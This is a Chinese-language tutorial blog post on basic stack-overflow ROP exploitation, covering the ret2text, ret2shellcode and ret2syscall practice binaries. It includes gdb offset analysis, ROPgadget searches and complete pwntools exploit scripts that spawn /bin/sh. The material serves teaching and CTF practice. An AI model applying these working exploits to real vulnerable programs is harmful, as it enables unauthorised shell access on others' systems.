栈溢出ROP利用基础(二)
vvchao 技术文章 6007浏览 · 2022-01-06 15:40

[TOC]

ROP_ret2text

特征:执行程序.text代码段已有的系统函数调用。

1,checksec查看下保护

2,IDA查看源码或伪代码分析

  • 存在可调用的system("/bin/sh")函数

可直接控制流程调用system获得shell

  • 存在危险函数gets()函数

3,gdb调式

关键:
    1.调试的关键是分析出我们能控制的内存的起始地址距离当前栈帧的返回地址的字节数,即距离ret指令的距离(偏移);
    2.找到能控制的内存起始地址:输入点在栈内的起始地址,即get()函数的输入内容存放的起始地址。

3.1根据IDA能分析出能控制的内存在栈中的相对地址,即起始地址。

3.2在根据gdb调试计算偏移

我们断在这条指令处 b *0x080486AE

080486AE                 call    _gets

esp = 0xffffd380

ebp = 0xffffd408

输入点的起始位置(s) = esp + 0x1c = 0xffffd39c

  • s 的地址为 00xffffd39c
  • s 相对于 ebp 的偏移为 0x6c = ebp - (s)
  • s 相对于返回地址的偏移为 0x6c+4 (32位,参考堆栈图ret离ebp距离4字节)

payload

##!/usr/bin/env python
from pwn import *

sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * (0x6c+4) + p32(target))
sh.interactive()

注意

源代码里面传入的是buff作为参数,但IDA分析中却出现同样的s传入作为参数,gbd中证明这两个s实际地址是不同的。(这里在某些情况下计算偏移时需要注意,选对参照物)

ret2shellcode

特征:存在可写入shellcode的缓存区,并且具有可执行权限。

1,checksec查看保护机制

2,源码分析,不存在任何直接调用能获取shell的函数

2.1通过静态分析,发现程序存在可利用控制流程gets()函数

关键:buf2在bss段,利用ret2shellcode的关键是,shellcode写入的内存空间具有可写可执行权限

2.2通过gdb查看buf2所在bss段具有的权限:

gdb:vmmap   //查看内存分布情况

buf2所在bss段所在内存区间具有wx权限。

动态确定实际偏移位置

利用cyclic工具去动态计算偏移(pwntool里面自带)
用法:

生成字符串队列:cyclic 字符数
计算字符串偏移:cyclic -l 四个字母(注意程序的大小端序,下面举例说明)

1,gdb动态调试

1.1利用cyclic生成构造的字符串队列,作为程序的输入。

1.2输入程序中断:

1.3cyclic -l daab计算得出偏移:

原理:fault address(红字)即是我们执行到的ret位置。

payload

#!/usr/bin/env python
from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()

注:这里shellcode直接利用pwntool工具自动生成,避免自己去写shellcode的不必要时间花销。

ret2syscall

特征:控制程序执行系统调用,获取 shell。

1,checksec查看程序的保护机制

2,源码分析

#include <stdio.h>
#include <stdlib.h>

char *shell = "/bin/sh";

int main(void)
{
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 1, 0LL);

    char buf[100];

    printf("This time, no system() and NO SHELLCODE!!!\n");
    printf("What do you plan to do?\n");
    gets(buf);

    return 0;
}

存在可利用的gets()函数控制输入流,但没有system()和shellcode。

3,知识概念引入

3.1系统调用参考:
https://zh.wikipedia.org/wiki/%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8

简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。

0xb 为 execve 对应的系统调用号。

3.2我们的目标是实现来获取shell:

execve("/bin/sh",NULL,NULL)
其中,该程序是 32 位,所以我们需要使得

 系统调用号,即 eax 应该为 0xb
 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
 第二个参数,即 ecx 应该为 0
 第三个参数,即 edx 应该为 0

调用流程:执行int0x80 -> 查看eax = 0xb -> 调用execve("/bin/sh",NULL,NULL);

3.3我们需要做的是:

  • 控制寄存器
  • 控制寄存器获取的值

寻找gadgets(程序代码片段)来实现我们需要做的,可以利用Ropgadgets工具搜索。

注:工具的详细用法不特意说明,百度即可。

4,寻找gadgets

概念:gadget即代码片段。

4.1寻找控制eax的gadgets

ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'

上述几个都可以控制 eax,我选取第二个来作为 gadgets。

4.2类似的,我们可以得到控制其它寄存器的 gadgets(ebx)

ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'

这里选择

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

这个可以直接控制其它三个寄存器。

4.3此外,我们需要获得 /bin/sh 字符串对应的地址。

ROPgadget --binary rop  --string '/bin/sh'

4.4最后还有int 0x80的地址

ROPgadget --binary rop  --only 'int'

5.payload

#!/usr/bin/env python
from pwn import *

sh = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
    ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()
0 条评论
某人
表情
可输入 255